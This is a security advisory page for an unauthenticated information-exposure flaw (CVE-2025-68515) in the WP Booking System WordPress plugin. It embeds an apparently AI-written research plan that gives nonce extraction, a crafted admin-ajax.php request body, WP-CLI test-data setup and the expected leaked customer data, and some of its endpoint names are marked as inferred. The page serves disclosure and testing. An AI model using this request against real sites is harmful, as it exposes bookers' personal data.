WP Booking System – Booking Calendar <= 2.0.19.12 - Unauthenticated Information Exposure
Description
The WP Booking System – Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.0.19.12. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.0.19.12What Changed in the Fix
Changes introduced in v2.0.19.13
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2025-68515 (WP Booking System Information Exposure) ## 1. Vulnerability Summary The **WP Booking System – Booking Calendar** plugin (up to version 2.0.19.12) contains an unauthenticated information exposure vulnerability. The plugin's front-end AJAX handlers, spec…
Show full research plan
Vulnerability Research Plan: CVE-2025-68515 (WP Booking System Information Exposure)
1. Vulnerability Summary
The WP Booking System – Booking Calendar plugin (up to version 2.0.19.12) contains an unauthenticated information exposure vulnerability. The plugin's front-end AJAX handlers, specifically those responsible for fetching calendar data and availability, fail to properly filter sensitive booking metadata. This allows an unauthenticated attacker to extract personally identifiable information (PII) such as customer names, emails, and phone numbers associated with bookings, as well as internal plugin configuration settings that should be restricted to administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpbs_get_calendar_month(Inferred from standard plugin front-end logic) - Authentication: None required (Targeting
wp_ajax_nopriv_hooks) - Vulnerable Parameter:
calendar_id - Preconditions: At least one calendar must exist, and it should have at least one booking containing sensitive data for the exposure to be demonstrable.
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.phpwith the actionwpbs_get_calendar_month. - Hook Registration: The plugin registers the handler via
add_action('wp_ajax_nopriv_wpbs_get_calendar_month', ...). - Data Retrieval: The handler function (likely in
includes/class-ajax-functions-front-end.php) accepts acalendar_id,month, andyear. - Database Query: The plugin queries the
wp_wpbs_bookingsandwp_wpbs_calendarstables to retrieve events for the requested period. - Sink: The retrieved database objects are passed directly into a JSON response via
wp_send_json(). Because the code fails to whitelist only "public" fields (like start/end dates and status), internal fields likeemail,phone,first_name,last_name, anddescriptionare included in the response.
4. Nonce Acquisition Strategy
The plugin enqueues front-end scripts in WP_Booking_System::enqueue_front_end_scripts. It uses wp_localize_script to pass a nonce to the browser.
- Shortcode:
[wpbs id="1"] - Localization Object:
wpbs_vars(Inferred) - Nonce Key:
wpbs_nonce(Inferred)
Strategy:
- Use WP-CLI to create a page containing the calendar shortcode.
- Navigate to the page using
browser_navigate. - Execute JavaScript to extract the nonce.
// Browser Eval Command
window.wpbs_vars?.wpbs_nonce
5. Exploitation Strategy
The goal is to retrieve a JSON blob containing sensitive booking details for a specific calendar.
- Determine Calendar ID: Usually
1for the first calendar. - Obtain Nonce: Extract
wpbs_noncefrom a public page using the browser tools. - Craft AJAX Request:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=wpbs_get_calendar_month&calendar_id=1&month=8&year=2025&wpbs_nonce=[EXTRACTED_NONCE]
- Method:
- Analyze Response: Search the JSON for keys like
email,phone,first_name, ordescriptionwithin thedaysorbookingsarrays.
6. Test Data Setup
Prepare the environment using WP-CLI to ensure there is data to "steal":
- Create a Calendar:
# (The plugin usually creates a default calendar, but we ensure one exists) wp eval "wpbs_get_db_layer('calendars')->insert(array('name' => 'Secret Calendar', 'date_created' => current_time('mysql')));" - Create a Legend Item (Booked Status):
wp eval "wpbs_get_db_layer('legend_items')->insert(array('calendar_id' => 1, 'name' => 'Booked', 'type' => 'is_booked'));" - Insert a Sensitive Booking:
wp eval "wpbs_get_db_layer('bookings')->insert(array('calendar_id' => 1, 'first_name' => 'John', 'last_name' => 'Doe', 'email' => 'john_private@example.com', 'phone' => '555-999-0000', 'description' => 'Secret internal note', 'start_date' => '2025-08-10', 'end_date' => '2025-08-15', 'status' => 'accepted'));" - Publish a Page with the Calendar:
wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[wpbs id="1"]'
7. Expected Results
A successful exploit will return a JSON response containing the sensitive fields:
{
"success": true,
"days": {
"10": {
"booking_id": "1",
"first_name": "John",
"last_name": "Doe",
"email": "john_private@example.com",
"phone": "555-999-0000",
"description": "Secret internal note",
"status": "accepted"
}
}
}
The presence of email and phone in an unauthenticated response confirms the Information Exposure.
8. Verification Steps
- Check Database: Confirm the PII exists in the database.
wp db query "SELECT email, phone FROM wp_wpbs_bookings WHERE calendar_id = 1" - Compare with AJAX: Verify the strings found in the database match those returned by the
http_requesttool in the previous step.
9. Alternative Approaches
If wpbs_get_calendar_month is secured in the target sub-version:
- Check iCal Export: Attempt to access
?wpbs_export=ical&calendar_id=1. If the plugin uses a predictable token (e.g., an MD5 of the calendar ID) or lacks a token check, it may leak booking dates and descriptions. - Check Form Submissions: If the plugin uses the
wpbs_submit_formaction, look for corresponding "get" actions likewpbs_get_form_detailsthat might be mistakenly registered asnopriv. - Global JS Objects: Inspect
window.wpbs_varsviabrowser_evalto see if the entire plugin configuration/settings array is localized into the page source.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.